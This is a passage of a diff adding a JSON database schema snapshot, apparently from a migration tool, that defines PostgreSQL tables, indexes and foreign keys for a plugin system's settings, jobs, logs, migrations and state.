+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipelines_project_id_projects_id_fk": {
+          "name": "pipelines_project_id_projects_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipelines_created_by_agent_id_agents_id_fk": {
+          "name": "pipelines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_company_settings": {
+      "name": "plugin_company_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "settings_json": {
+          "name": "settings_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_company_settings_company_idx": {
+          "name": "plugin_company_settings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_plugin_idx": {
+          "name": "plugin_company_settings_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_company_plugin_uq": {
+          "name": "plugin_company_settings_company_plugin_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_company_settings_company_id_companies_id_fk": {
+          "name": "plugin_company_settings_company_id_companies_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_company_settings_plugin_id_plugins_id_fk": {
+          "name": "plugin_company_settings_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_config": {
+      "name": "plugin_config",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_json": {
+          "name": "config_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_config_plugin_company_idx": {
+          "name": "plugin_config_plugin_company_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_config_plugin_id_plugins_id_fk": {
+          "name": "plugin_config_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_config_company_id_companies_id_fk": {
+          "name": "plugin_config_company_id_companies_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_database_namespaces": {
+      "name": "plugin_database_namespaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_mode": {
+          "name": "namespace_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'schema'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_database_namespaces_plugin_idx": {
+          "name": "plugin_database_namespaces_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_namespace_idx": {
+          "name": "plugin_database_namespaces_namespace_idx",
+          "columns": [
+            {
+              "expression": "namespace_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_status_idx": {
+          "name": "plugin_database_namespaces_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_database_namespaces_plugin_id_plugins_id_fk": {
+          "name": "plugin_database_namespaces_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_database_namespaces",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_entities": {
+      "name": "plugin_entities",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_entities_plugin_idx": {
+          "name": "plugin_entities_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_company_idx": {
+          "name": "plugin_entities_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_type_idx": {
+          "name": "plugin_entities_type_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_scope_idx": {
+          "name": "plugin_entities_scope_idx",
+          "columns": [
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_entities_plugin_id_plugins_id_fk": {
+          "name": "plugin_entities_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_entities_company_id_companies_id_fk": {
+          "name": "plugin_entities_company_id_companies_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_entities_external_idx": {
+          "name": "plugin_entities_external_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "plugin_id",
+            "entity_type",
+            "external_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_job_runs": {
+      "name": "plugin_job_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "job_id": {
+          "name": "job_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "logs": {
+          "name": "logs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_job_runs_job_idx": {
+          "name": "plugin_job_runs_job_idx",
+          "columns": [
+            {
+              "expression": "job_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_plugin_idx": {
+          "name": "plugin_job_runs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_company_idx": {
+          "name": "plugin_job_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_status_idx": {
+          "name": "plugin_job_runs_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_job_runs_job_id_plugin_jobs_id_fk": {
+          "name": "plugin_job_runs_job_id_plugin_jobs_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugin_jobs",
+          "columnsFrom": [
+            "job_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_plugin_id_plugins_id_fk": {
+          "name": "plugin_job_runs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_company_id_companies_id_fk": {
+          "name": "plugin_job_runs_company_id_companies_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_jobs": {
+      "name": "plugin_jobs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "job_key": {
+          "name": "job_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schedule": {
+          "name": "schedule",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "last_run_at": {
+          "name": "last_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_jobs_plugin_idx": {
+          "name": "plugin_jobs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_next_run_idx": {
+          "name": "plugin_jobs_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_unique_idx": {
+          "name": "plugin_jobs_unique_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "job_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_jobs_plugin_id_plugins_id_fk": {
+          "name": "plugin_jobs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_jobs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_logs": {
+      "name": "plugin_logs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'info'"
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "meta": {
+          "name": "meta",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_logs_plugin_time_idx": {
+          "name": "plugin_logs_plugin_time_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_company_idx": {
+          "name": "plugin_logs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_logs_level_idx": {
+          "name": "plugin_logs_level_idx",
+          "columns": [
+            {
+              "expression": "level",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_logs_plugin_id_plugins_id_fk": {
+          "name": "plugin_logs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_logs_company_id_companies_id_fk": {
+          "name": "plugin_logs_company_id_companies_id_fk",
+          "tableFrom": "plugin_logs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_managed_resources": {
+      "name": "plugin_managed_resources",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_kind": {
+          "name": "resource_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_key": {
+          "name": "resource_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resource_id": {
+          "name": "resource_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "defaults_json": {
+          "name": "defaults_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_managed_resources_company_idx": {
+          "name": "plugin_managed_resources_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_plugin_idx": {
+          "name": "plugin_managed_resources_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_resource_idx": {
+          "name": "plugin_managed_resources_resource_idx",
+          "columns": [
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_managed_resources_company_plugin_resource_uq": {
+          "name": "plugin_managed_resources_company_plugin_resource_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "resource_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_managed_resources_company_id_companies_id_fk": {
+          "name": "plugin_managed_resources_company_id_companies_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_managed_resources_plugin_id_plugins_id_fk": {
+          "name": "plugin_managed_resources_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_managed_resources",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_migrations": {
+      "name": "plugin_migrations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "migration_key": {
+          "name": "migration_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "checksum": {
+          "name": "checksum",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_version": {
+          "name": "plugin_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "plugin_migrations_plugin_key_idx": {
+          "name": "plugin_migrations_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "migration_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_plugin_idx": {
+          "name": "plugin_migrations_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_migrations_status_idx": {
+          "name": "plugin_migrations_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_migrations_plugin_id_plugins_id_fk": {
+          "name": "plugin_migrations_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_migrations",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_state": {
+      "name": "plugin_state",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "namespace": {
+          "name": "namespace",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
